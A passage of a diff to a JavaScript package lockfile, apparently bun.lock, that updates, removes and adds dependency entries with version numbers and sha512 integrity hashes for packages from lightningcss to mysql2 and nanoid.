["lightningcss-darwin-arm64@1.32.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ=="], - "lightningcss-darwin-x64": ["lightningcss-darwin-x64@1.31.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-1ObhyoCY+tGxtsz1lSx5NXCj3nirk0Y0kB/g8B8DT+sSx4G9djitg9ejFnjb3gJNWo7qXH4DIy2SUHvpoFwfTA=="], + "lightningcss-darwin-x64": ["lightningcss-darwin-x64@1.32.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w=="], - "lightningcss-freebsd-x64": ["lightningcss-freebsd-x64@1.31.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-1RINmQKAItO6ISxYgPwszQE1BrsVU5aB45ho6O42mu96UiZBxEXsuQ7cJW4zs4CEodPUioj/QrXW1r9pLUM74A=="], + "lightningcss-freebsd-x64": ["lightningcss-freebsd-x64@1.32.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig=="], - "lightningcss-linux-arm-gnueabihf": ["lightningcss-linux-arm-gnueabihf@1.31.1", "", { "os": "linux", "cpu": "arm" }, "sha512-OOCm2//MZJ87CdDK62rZIu+aw9gBv4azMJuA8/KB74wmfS3lnC4yoPHm0uXZ/dvNNHmnZnB8XLAZzObeG0nS1g=="], + "lightningcss-linux-arm-gnueabihf": ["lightningcss-linux-arm-gnueabihf@1.32.0", "", { "os": "linux", "cpu": "arm" }, "sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw=="], - "lightningcss-linux-arm64-gnu": ["lightningcss-linux-arm64-gnu@1.31.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-WKyLWztD71rTnou4xAD5kQT+982wvca7E6QoLpoawZ1gP9JM0GJj4Tp5jMUh9B3AitHbRZ2/H3W5xQmdEOUlLg=="], + "lightningcss-linux-arm64-gnu": ["lightningcss-linux-arm64-gnu@1.32.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ=="], - "lightningcss-linux-arm64-musl": ["lightningcss-linux-arm64-musl@1.31.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-mVZ7Pg2zIbe3XlNbZJdjs86YViQFoJSpc41CbVmKBPiGmC4YrfeOyz65ms2qpAobVd7WQsbW4PdsSJEMymyIMg=="], + "lightningcss-linux-arm64-musl": ["lightningcss-linux-arm64-musl@1.32.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg=="], - "lightningcss-linux-x64-gnu": ["lightningcss-linux-x64-gnu@1.31.1", "", { "os": "linux", "cpu": "x64" }, "sha512-xGlFWRMl+0KvUhgySdIaReQdB4FNudfUTARn7q0hh/V67PVGCs3ADFjw+6++kG1RNd0zdGRlEKa+T13/tQjPMA=="], + "lightningcss-linux-x64-gnu": ["lightningcss-linux-x64-gnu@1.32.0", "", { "os": "linux", "cpu": "x64" }, "sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA=="], - "lightningcss-linux-x64-musl": ["lightningcss-linux-x64-musl@1.31.1", "", { "os": "linux", "cpu": "x64" }, "sha512-eowF8PrKHw9LpoZii5tdZwnBcYDxRw2rRCyvAXLi34iyeYfqCQNA9rmUM0ce62NlPhCvof1+9ivRaTY6pSKDaA=="], + "lightningcss-linux-x64-musl": ["lightningcss-linux-x64-musl@1.32.0", "", { "os": "linux", "cpu": "x64" }, "sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg=="], - "lightningcss-win32-arm64-msvc": ["lightningcss-win32-arm64-msvc@1.31.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-aJReEbSEQzx1uBlQizAOBSjcmr9dCdL3XuC/6HLXAxmtErsj2ICo5yYggg1qOODQMtnjNQv2UHb9NpOuFtYe4w=="], + "lightningcss-win32-arm64-msvc": ["lightningcss-win32-arm64-msvc@1.32.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw=="], - "lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.31.1", "", { "os": "win32", "cpu": "x64" }, "sha512-I9aiFrbd7oYHwlnQDqr1Roz+fTz61oDDJX7n9tYF9FJymH1cIN1DtKw3iYt6b8WZgEjoNwVSncwF4wx/ZedMhw=="], + "lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.32.0", "", { "os": "win32", "cpu": "x64" }, "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q=="], "lines-and-columns": ["lines-and-columns@1.2.4", "", {}, "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg=="], - "linkify-it": ["linkify-it@5.0.0", "", { "dependencies": { "uc.micro": "^2.0.0" } }, "sha512-5aHCbzQRADcdP+ATqnDuhhJ/MRIqDkZX5pyjFHRRysS8vZ5AbqGEoFIb6pYHPZ+L/OC2Lc+xT8uHVVR5CAK/wQ=="], - - "linkifyjs": ["linkifyjs@4.3.2", "", {}, "sha512-NT1CJtq3hHIreOianA8aSXn6Cw0JzYOuDQbOrSPe7gqFnCpKP++MQe3ODgO3oh2GJFORkAAdqredOa60z63GbA=="], - - "lint-staged": ["lint-staged@16.4.0", "", { "dependencies": { "commander": "^14.0.3", "listr2": "^9.0.5", "picomatch": "^4.0.3", "string-argv": "^0.3.2", "tinyexec": "^1.0.4", "yaml": "^2.8.2" }, "bin": { "lint-staged": "bin/lint-staged.js" } }, "sha512-lBWt8hujh/Cjysw5GYVmZpFHXDCgZzhrOm8vbcUdobADZNOK/bRshr2kM3DfgrrtR1DQhfupW9gnIXOfiFi+bw=="], + "linkifyjs": ["linkifyjs@4.3.3", "", {}, "sha512-P8aEP5U/D1/IlTY2OeYsErdwh9bGuLE30NcXtKEjgdHcahveQoQwM2yZNsioQHsWFz0P7KKudisbrzCgR0sDHg=="], - "listr2": ["listr2@9.0.5", "", { "dependencies": { "cli-truncate": "^5.0.0", "colorette": "^2.0.20", "eventemitter3": "^5.0.1", "log-update": "^6.1.0", "rfdc": "^1.4.1", "wrap-ansi": "^9.0.0" } }, "sha512-ME4Fb83LgEgwNw96RKNvKV4VTLuXfoKudAmm2lP8Kk87KaMK0/Xrx/aAkMWmT8mDb+3MlFDspfbCs7adjRxA2g=="], + "lint-staged": ["lint-staged@17.6.0", "", { "dependencies": { "picomatch": "^4.0.7", "string-argv": "^0.3.2", "tinyexec": "^1.3.1" }, "optionalDependencies": { "yaml": "^2.9.1" }, "bin": { "lint-staged": "bin/lint-staged.js" } }, "sha512-nOhBfYkZEwkFtNzD5pK9s9LkcWoxJ+whLzEnhqi9nl7zTB5n7tg8+9iYgMGx2Wm3VlLu8cbNj0RACzY+nWi5iQ=="], - "lodash": ["lodash@4.17.23", "", {}, "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w=="], - - "lodash-es": ["lodash-es@4.17.23", "", {}, "sha512-kVI48u3PZr38HdYz98UmfPnXl2DXrpdctLrFLCd3kOx1xUkOmpFPx7gCWWM5MPkL/fD8zb+Ph0QzjGFs4+hHWg=="], - - "lodash.camelcase": ["lodash.camelcase@4.3.0", "", {}, "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA=="], + "lodash": ["lodash@4.18.1", "", {}, "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q=="], "lodash.escaperegexp": ["lodash.escaperegexp@4.1.2", "", {}, "sha512-TM9YBvyC84ZxE3rgfefxUWiQKLilstD6k7PTGt6wfbtXF8ixIJLOL3VYyV/z+ZiPLsVxAsKAFVwWlWeb2Y8Yyw=="], "lodash.isequal": ["lodash.isequal@4.5.0", "", {}, "sha512-pDo3lu8Jhfjqls6GkMgpahsF9kCyayhgykjyLMNFTKWrpVdAQtYyB4muAMWozBB4ig/dtWAmsMxLEI8wuz+DYQ=="], - "lodash.kebabcase": ["lodash.kebabcase@4.1.1", "", {}, "sha512-N8XRTIMMqqDgSy4VLKPnJ/+hpGZN+PHQiJnSenYqPaVV/NCqEogTnAdZLQiGKhxX+JCs8waWq2t1XHWKOmlY8g=="], - - "lodash.mergewith": ["lodash.mergewith@4.6.2", "", {}, "sha512-GK3g5RPZWTRSeLSpgP8Xhra+pnjBC56q9FZYe1d5RN3TJ35dbkGy3YqBSMbyCrlbi+CM9Z3Jk5yTL7RCsqboyQ=="], - - "lodash.snakecase": ["lodash.snakecase@4.1.1", "", {}, "sha512-QZ1d4xoBHYUeuouhEq3lk3Uq7ldgyFXGBhg04+oRLnIz8o9T65Eh+8YdroUwn846zchkA9yDsDl5CVVaV2nqYw=="], - - "lodash.startcase": ["lodash.startcase@4.4.0", "", {}, "sha512-+WKqsK294HMSc2jEbNgpHpd0JfIBhp7rEV4aqXWqFr6AlXov+SlcgB1Fv01y2kGe3Gc8nMW7VA0SrGuSkRfIEg=="], - - "lodash.upperfirst": ["lodash.upperfirst@4.3.1", "", {}, "sha512-sReKOYJIJf74dhJONhU4e0/shzi1trVbSWDOhKYE5XV2O+H7Sb2Dihwuc7xWxVl+DgFPyTqIN3zMfT9cq5iWDg=="], - "log-symbols": ["log-symbols@4.1.0", "", { "dependencies": { "chalk": "^4.1.0", "is-unicode-supported": "^0.1.0" } }, "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg=="], - "log-update": ["log-update@6.1.0", "", { "dependencies": { "ansi-escapes": "^7.0.0", "cli-cursor": "^5.0.0", "slice-ansi": "^7.1.0", "strip-ansi": "^7.1.0", "wrap-ansi": "^9.0.0" } }, "sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w=="], - "long": ["long@5.3.2", "", {}, "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA=="], "longest-streak": ["longest-streak@3.1.0", "", {}, "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g=="], + "loose-envify": ["loose-envify@1.4.0", "", { "dependencies": { "js-tokens": "^3.0.0 || ^4.0.0" }, "bin": { "loose-envify": "cli.js" } }, "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q=="], + "lop": ["lop@0.4.2", "", { "dependencies": { "duck": "^0.1.12", "option": "~0.2.1", "underscore": "^1.13.1" } }, "sha512-RefILVDQ4DKoRZsJ4Pj22TxE3omDO47yFpkIBoDKzkqPRISs5U1cnAdg/5583YPkWPaLIYHOKRMQSvjFsO26cw=="], "lowercase-keys": ["lowercase-keys@2.0.0", "", {}, "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA=="], - "lowlight": ["lowlight@3.3.0", "", { "dependencies": { "@types/hast": "^3.0.0", "devlop": "^1.0.0", "highlight.js": "~11.11.0" } }, "sha512-0JNhgFoPvP6U6lE/UdVsSq99tn6DhjjpAj5MxG49ewd2mOBVtwWYIT8ClyABhq198aXXODMU6Ox8DrGy/CpTZQ=="], - "lru-cache": ["lru-cache@6.0.0", "", { "dependencies": { "yallist": "^4.0.0" } }, "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA=="], "lru.min": ["lru.min@1.1.4", "", {}, "sha512-DqC6n3QQ77zdFpCMASA1a3Jlb64Hv2N2DciFGkO/4L9+q/IpIAuRlKOvCXabtRW6cQf8usbmM6BE/TOPysCdIA=="], "lru_map": ["lru_map@0.4.1", "", {}, "sha512-I+lBvqMMFfqaV8CJCISjI3wbjmwVu/VyOoU7+qtu9d7ioW5klMgsTTiUOUp+DJvfTTzKXoPbyC6YfgkNcyPSOg=="], - "lucide-react": ["lucide-react@1.8.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-WuvlsjngSk7TnTBJ1hsCy3ql9V9VOdcPkd3PKcSmM34vJD8KG6molxz7m7zbYFgICwsanQWmJ13JlYs4Zp7Arw=="], + "lucide-react": ["lucide-react@1.52.0", "", { "peerDependencies": { "@types/react": "*", "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" }, "optionalPeers": ["@types/react"] }, "sha512-TUgPtl5ZI9WgxOcbu4ckaC5B3l1qxPQrCMgb6OfUB9owx/OvSJfcf93SMgUWAxRw5/1XDfh9uI5F5iNGXCcGDQ=="], "magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="], "make-fetch-happen": ["make-fetch-happen@14.0.3", "", { "dependencies": { "@npmcli/agent": "^3.0.0", "cacache": "^19.0.1", "http-cache-semantics": "^4.1.1", "minipass": "^7.0.2", "minipass-fetch": "^4.0.0", "minipass-flush": "^1.0.5", "minipass-pipeline": "^1.2.4", "negotiator": "^1.0.0", "proc-log": "^5.0.0", "promise-retry": "^2.0.1", "ssri": "^12.0.0" } }, "sha512-QMjGbFTP0blj97EeidG5hk/QhKQ3T4ICckQGLgz38QF7Vgbk6e6FTARN8KhKxyBbWn8R0HU+bnw8aSoFPD4qtQ=="], - "mammoth": ["mammoth@1.12.0", "", { "dependencies": { "@xmldom/xmldom": "^0.8.6", "argparse": "~1.0.3", "base64-js": "^1.5.1", "bluebird": "~3.4.0", "dingbat-to-unicode": "^1.0.1", "jszip": "^3.7.1", "lop": "^0.4.2", "path-is-absolute": "^1.0.0", "underscore": "^1.13.1", "xmlbuilder": "^10.0.0" }, "bin": { "mammoth": "bin/mammoth" } }, "sha512-cwnK1RIcRdDMi2HRx2EXGYlxqIEh0Oo3bLhorgnsVJi2UkbX1+jKxuBNR9PC5+JaX7EkmJxFPmo6mjLpqShI2w=="], - - "markdown-it": ["markdown-it@14.1.1", "", { "dependencies": { "argparse": "^2.0.1", "entities": "^4.4.0", "linkify-it": "^5.0.0", "mdurl": "^2.0.0", "punycode.js": "^2.3.1", "uc.micro": "^2.1.0" }, "bin": { "markdown-it": "bin/markdown-it.mjs" } }, "sha512-BuU2qnTti9YKgK5N+IeMubp14ZUKUUw7yeJbkjtosvHiP0AZ5c8IAgEMk79D0eC8F23r4Ac/q8cAIFdm2FtyoA=="], + "mammoth": ["mammoth@1.13.0", "", { "dependencies": { "@xmldom/xmldom": "^0.8.6", "argparse": "~1.0.3", "base64-js": "^1.5.1", "dingbat-to-unicode": "^1.0.1", "jszip": "^3.7.1", "lop": "^0.4.2", "underscore": "^1.13.1", "xmlbuilder": "^10.0.0" }, "bin": { "mammoth": "bin/mammoth" } }, "sha512-2cawcYFcP7ISfXbBcL9lmVgTNWo88v/52ND1gnywHtVT/pX0//puPnf0iMPV9ZgmuvNOE+zkIhDgZ9M2c2dDDg=="], "markdown-table": ["markdown-table@3.0.4", "", {}, "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw=="], @@ -1751,11 +1613,11 @@ "mdast-util-to-string": ["mdast-util-to-string@4.0.0", "", { "dependencies": { "@types/mdast": "^4.0.0" } }, "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg=="], - "mdurl": ["mdurl@2.0.0", "", {}, "sha512-Lf+9+2r+Tdp5wXDXC4PcIBjTDtq4UKjCPMQhKIuzpJNW0b96kVqSwW0bT7FhRSfmAiFYgP+SCRvdrDozfh0U5w=="], + "media-typer": ["media-typer@1.1.1", "", {}, "sha512-yz3xRaG20c6/BOzvYoDaGtPmGscs7YivItZEEqe6GbwNfHuxu9YNmvnEkMzKldAGY4/80pRcQRZSEnhquk9XuQ=="], "memory-pager": ["memory-pager@1.5.0", "", {}, "sha512-ZS4Bp4r/Zoeq6+NLJpP+0Zzm0pR8whtGPf1XExKLJBAczGMnSi3It14OiNCStjQjM6NU1okjQGSxgEZN8eBYKg=="], - "meow": ["meow@13.2.0", "", {}, "sha512-pxQJQzB6djGPXh08dacEloMFopsOqGVRKFPYvPOt9XDZ1HasbgDZA74CJGreSU4G3Ak7EFJGoiH2auq+yXISgA=="], + "merge-descriptors": ["merge-descriptors@2.0.0", "", {}, "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g=="], "micromark": ["micromark@4.0.2", "", { "dependencies": { "@types/debug": "^4.0.0", "debug": "^4.0.0", "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "micromark-core-commonmark": "^2.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-chunked": "^2.0.0", "micromark-util-combine-extensions": "^2.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", "micromark-util-encode": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-resolve-all": "^2.0.0", "micromark-util-sanitize-uri": "^2.0.0", "micromark-util-subtokenize": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA=="], @@ -1815,17 +1677,15 @@ "mime": ["mime@2.6.0", "", { "bin": { "mime": "cli.js" } }, "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg=="], - "mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="], + "mime-db": ["mime-db@1.54.0", "", {}, "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ=="], - "mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="], + "mime-types": ["mime-types@3.0.2", "", { "dependencies": { "mime-db": "^1.54.0" } }, "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A=="], "mimic-fn": ["mimic-fn@2.1.0", "", {}, "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="], - "mimic-function": ["mimic-function@5.0.1", "", {}, "sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA=="], - "mimic-response": ["mimic-response@3.1.0", "", {}, "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ=="], - "minimatch": ["minimatch@9.0.9", "", { "dependencies": { "brace-expansion": "^2.0.2" } }, "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg=="], + "minimatch": ["minimatch@10.2.6", "", { "dependencies": { "brace-expansion": "^5.0.8" } }, "sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A=="], "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="], @@ -1845,35 +1705,31 @@ "mkdirp": ["mkdirp@0.5.6", "", { "dependencies": { "minimist": "^1.2.6" }, "bin": { "mkdirp": "bin/cmd.js" } }, "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw=="], - "mkdirp-classic": ["mkdirp-classic@0.5.3", "", {}, "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A=="], + "mongodb": ["mongodb@7.7.0", "", { "dependencies": { "@mongodb-js/saslprep": "^1.5.0", "bson": "^7.3.2", "mongodb-connection-string-url": "^7.0.2" }, "peerDependencies": { "@aws-sdk/credential-providers": "^3.806.0", "@mongodb-js/zstd": "^7.0.0", "gcp-metadata": "^7.0.1", "kerberos": "^7.0.0", "mongodb-client-encryption": "^7.2.0", "snappy": "^7.3.2", "socks": "^2.8.6" }, "optionalPeers": ["@aws-sdk/credential-providers", "@mongodb-js/zstd", "gcp-metadata", "kerberos", "mongodb-client-encryption", "snappy", "socks"] }, "sha512-XG1xXEqyouAV8GCb3PuRaujofeXKpAJAPvXYWZgHl6Dz4QHSJ1nRLl0+GpqaLTwKvC0RFE9truOur34RNFY1nw=="], - "mongodb": ["mongodb@7.1.0", "", { "dependencies": { "@mongodb-js/saslprep": "^1.3.0", "bson": "^7.1.1", "mongodb-connection-string-url": "^7.0.0" }, "peerDependencies": { "@aws-sdk/credential-providers": "^3.806.0", "@mongodb-js/zstd": "^7.0.0", "gcp-metadata": "^7.0.1", "kerberos": "^7.0.0", "mongodb-client-encryption": ">=7.0.0 <7.1.0", "snappy": "^7.3.2", "socks": "^2.8.6" }, "optionalPeers": ["@aws-sdk/credential-providers", "@mongodb-js/zstd", "gcp-metadata", "kerberos", "mongodb-client-encryption", "snappy", "socks"] }, "sha512-kMfnKunbolQYwCIyrkxNJFB4Ypy91pYqua5NargS/f8ODNSJxT03ZU3n1JqL4mCzbSih8tvmMEMLpKTT7x5gCg=="], + "mongodb-connection-string-url": ["mongodb-connection-string-url@7.0.2", "", { "dependencies": { "@types/whatwg-url": "^13.0.0", "whatwg-url": "^14.1.0" } }, "sha512-ZoS07RoFqpKYQwAk59qmrx8+jJHNHU30UjlU96QktiGn1ltvDr+vCznLX5DiUBLEpMAHatHNWV1nM/74ul66kA=="], - "mongodb-connection-string-url": ["mongodb-connection-string-url@7.0.1", "", { "dependencies": { "@types/whatwg-url": "^13.0.0", "whatwg-url": "^14.1.0" } }, "sha512-h0AZ9A7IDVwwHyMxmdMXKy+9oNlF0zFoahHiX3vQ8e3KFcSP3VmsmfvtRSuLPxmyv2vjIDxqty8smTgie/SNRQ=="], + "motion": ["motion@14.0.0", "", { "dependencies": { "framer-motion": "14.0.0", "tslib": "^2.4.0" }, "peerDependencies": { "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["react", "react-dom"] }, "sha512-oGc2lkge2lkRZCP+J8/JsnYu4NFjqP1MtXirNdetn3QbvK2JqwM9A200EdT4C598KfzDhjLT12zF21xDM4Oilw=="], - "motion": ["motion@12.35.0", "", { "dependencies": { "framer-motion": "^12.35.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-BQUhNUIGvUcwXCzwmnT1JpjUqab34lIwxHnXUyWRht1WC1vAyp7/4qgMiUXxN3K6hgUhyoR+HNnLeQMwUZjVjw=="], + "motion-dom": ["motion-dom@14.0.0", "", { "dependencies": { "motion-utils": "14.0.0" } }, "sha512-aU3ApXo1yTpeUi3JU+jbDk2TELjxPE3MbBMUP7nZHlARb6RweJK+ojmLjpuB0YsY6zhbBl1YWGo8LMsI1/Llqw=="], - "motion-dom": ["motion-dom@12.35.0", "", { "dependencies": { "motion-utils": "^12.29.2" } }, "sha512-FFMLEnIejK/zDABn+vqGVAUN4T0+3fw+cVAY8MMT65yR+j5uMuvWdd4npACWhh94OVWQs79CrBBuwOwGRZAQiA=="], - - "motion-utils": ["motion-utils@12.29.2", "", {}, "sha512-G3kc34H2cX2gI63RqU+cZq+zWRRPSsNIOjpdl9TN4AQwC4sgwYPl/Q/Obf/d53nOm569T0fYK+tcoSV50BWx8A=="], + "motion-utils": ["motion-utils@14.0.0", "", {}, "sha512-jBsyjVxTTRZNeuvd/v+btVXr90LQkYl4HhRu9T2ARc+PMnvkmjsjRVeAg4Qm10b6TlTw+kykWI8gu/6LuvpLSQ=="], "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], - "mysql2": ["mysql2@3.20.0", "", { "dependencies": { "aws-ssl-profiles": "^1.1.2", "denque": "^2.1.0", "generate-function": "^2.3.1", "iconv-lite": "^0.7.2", "long": "^5.3.2", "lru.min": "^1.1.4", "named-placeholders": "^1.1.6", "sql-escaper": "^1.3.3" }, "peerDependencies": { "@types/node": ">= 8" } }, "sha512-eCLUs7BNbgA6nf/MZXsaBO1SfGs0LtLVrJD3WeWq+jPLDWkSufTD+aGMwykfUVPdZnblaUK1a8G/P63cl9FkKg=="], + "mysql2": ["mysql2@3.24.5", "", { "dependencies": { "aws-ssl-profiles": "^1.1.2", "generate-function": "^2.3.1", "iconv-lite": "^0.7.3", "long": "^5.3.2", "lru.min": "^1.1.4", "named-placeholders": "^1.1.6", "sql-escaper": "^1.5.1" }, "peerDependencies": { "@types/node": ">= 8" } }, "sha512-X6Ujsr2QSkkLpkQGjxzpKRAPn9nu4axpR63ntBzquFVEvPOArgbUQ1sJjFKI7hnaYtiVZxa17Z7q18KSubW0IQ=="], "named-placeholders": ["named-placeholders@1.1.6", "", { "dependencies": { "lru.min": "^1.1.0" } }, "sha512-Tz09sEL2EEuv5fFowm419c1+a/jSMiBjI9gHxVLrVdbUkkNUUfjsVYs9pVZu5oCon/kmRh9TfLEObFtkVxmY0w=="], - "nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="], - - "napi-build-utils": ["napi-build-utils@2.0.0", "", {}, "sha512-GEbrYkbfF7MoNaoh2iGG84Mnf/WZfB0GdGEsM8wz7Expx/LlWf5U8t9nvJKXSp3qr5IsEbK04cBGhol/KwOsWA=="], + "nanoid": ["nanoid@3.3.20", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-uKdg2G3GNCKQn9byYOpxbGqrT2fGO5KRt5J/8b3pok8rT6qxGWF6hxMyJiEYtAf+FVyYuD9hRaDqX5uPFYJ4ZQ=="], "negotiator": ["negotiator@1.0.0", "", {}, "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg=="], - "next": ["next@15.5.12", "", { "dependencies": { "@next/env": 